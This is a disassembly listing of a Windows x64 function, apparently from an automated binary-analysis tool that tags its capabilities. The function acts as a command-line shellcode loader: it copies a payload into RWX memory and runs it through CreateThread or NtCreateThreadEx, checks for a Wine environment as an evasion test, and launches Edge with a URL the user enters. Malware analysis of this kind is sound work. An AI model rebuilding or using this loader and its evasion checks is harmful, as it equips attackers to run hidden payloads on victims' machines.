Function at 0x140001bc0
Capabilities:
Allocate or change rwx memory
Check if process is running under wine
Create process on windows
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r14
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x140099010]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov r15, rdx
mov r14d, ecx
cmp ecx, 1
jle 0x140002094
mov rax, qword [rdx + 8]
mov qword [rsp + 0x350], r12
cmp byte [rax], 0x2d
jne 0x140001c39
cmp byte [rax + 1], 0x69
jne 0x140001c39
cmp byte [rax + 2], 0
jne 0x140001c39
cmp ecx, 4
jne 0x140001c2d
lea rcx, [0x140005820]
call fcn.140001090
mov rcx, r15
call fcn.140001720
jmp 0x140001c39
lea rcx, [0x140005828]
call fcn.140001030
mov rax, qword [r15 + 8]
xor r12d, r12d
mov qword [rsp + 0x380], rbx
mov qword [rsp + 0x390], rsi
mov qword [rsp + 0x358], rdi
cmp byte [rax], 0x2d
jne 0x140001e10
cmp byte [rax + 1], 0x64
jne 0x140001d1b
cmp byte [rax + 2], r12b
jne 0x140001d1b
mov rdx, qword [r15 + 0x10]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], r12
call fcn.1400013d0
lea rcx, str.kernel32.dll
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x140005790]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x60]
lea r9d, [r12 + 0x40]
mov r8d, 0x1000
xor ecx, ecx
call rdi
mov r8, qword [rsp + 0x60]
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov r8, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [r15 + 8]
cmp byte [rax], 0x2d
jne 0x140001e10
cmp byte [rax + 1], 0x68
jne 0x140001d40
cmp byte [rax + 2], r12b
jne 0x140001d40
lea rcx, [0x140005848]
call fcn.140001090
mov rax, qword [r15 + 8]
cmp byte [rax], 0x2d
jne 0x140001e10
cmp byte [rax + 1], 0x73
jne 0x140001e10
cmp byte [rax + 2], r12b
jne 0x140001e10
mov edx, 0x80000000
mov ecx, 1
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.MulDiv_evasion_method_detected:_Wine_environment.
cmp eax, 2
jne 0x140001d8a
lea rdx, str.MulDiv_evasion_method_not_detected.
call fcn.1400031b0
lea rdx, [0x140003380]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140005640]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.wine_get_unix_file_name
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140005678]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.wine_get_host_version
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rbx, rbx
jne 0x140001ded
lea rdx, str.Wines_exclusive_APIs_not_detected.
test rax, rax
je 0x140001df4
lea rdx, str.Wines_exclusive_APIs_detected:_Wine_environment.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400031b0
lea rdx, [0x140003380]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [r15 + 8]
cmp byte [rax], 0x2d
jne 0x140001f30
cmp byte [rax + 1], 0x6e
jne 0x140001f30
cmp byte [rax + 2], r12b
jne 0x140001f30
cmp r14d, 3
je 0x140001e43
lea rcx, [0x140005880]
call fcn.140001090
mov rdx, qword [r15 + 0x10]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x68], r12
call fcn.1400013d0
mov rsi, rax
mov qword [rsp + 0x70], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [0x1400057b8]
mov qword [rsp + 0x60], r12
mov r14, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1400057b8]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x68]
mov rcx, rax
mov dword [rsp + 0x20], 0x1000
xor r8d, r8d
lea rdx, [rsp + 0x60]
call rbx
mov r8, qword [rsp + 0x68]
mov rdx, rsi
mov rcx, qword [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], r12
mov r9, r14
mov qword [rsp + 0x48], r12
xor r8d, r8d
mov qword [rsp + 0x40], r12
mov edx, 0x1fffff
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call rdi
mov rcx, qword [rsp + 0x70]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [r15 + 8]
mov rdi, qword [rsp + 0x358]
mov rsi, qword [rsp + 0x390]
mov rbx, qword [rsp + 0x380]
cmp byte [rax], 0x2d
jne 0x14000206e
cmp byte [rax + 1], 0x67
jne 0x14000206e
cmp byte [rax + 2], r12b
jne 0x14000206e
lea rcx, str.Input_Web:
call fcn.140001090
lea rdx, [rbp]
lea rcx, [0x1400058a4]
call fcn.1400010f0
movups xmm0, xmmword [str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe]
mov eax, dword [0x140005818]
xor edx, edx
movups xmm1, xmmword [0x1400057f0]
lea rcx, [rbp + 0x7e]
mov dword [rbp + 0x78], eax
movaps xmmword [rbp + 0x40], xmm0
mov r8d, 0x1c2
movups xmm0, xmmword [0x140005800]
movzx eax, word [0x14000581c]
movaps xmmword [rbp + 0x50], xmm1
movsd xmm1, qword [0x140005810]
movaps xmmword [rbp + 0x60], xmm0
movsd qword [rbp + 0x70], xmm1
mov word [rbp + 0x7c], ax
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x40]
dec rax
nop
cmp byte [rax + 1], r12b
lea rax, [rax + 1]
jne 0x140001fe0
lea r8, [rbp]
xor edx, edx
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001ff0
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
xor eax, eax
lea rdx, [rbp + 0x40]
mov dword [rbp - 0xc], eax
xor r9d, r9d
mov qword [rbp - 0x78], rax
xor r8d, r8d
lea rax, [rsp + 0x78]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rsp + 0x78], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.140001ae0
mov r12, qword [rsp + 0x350]
xor eax, eax
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140003680
add rsp, 0x360
pop r15
pop r14
pop rbp
ret
jne 0x14000209b
call fcn.140001ae0
xor eax, eax
jmp 0x140002078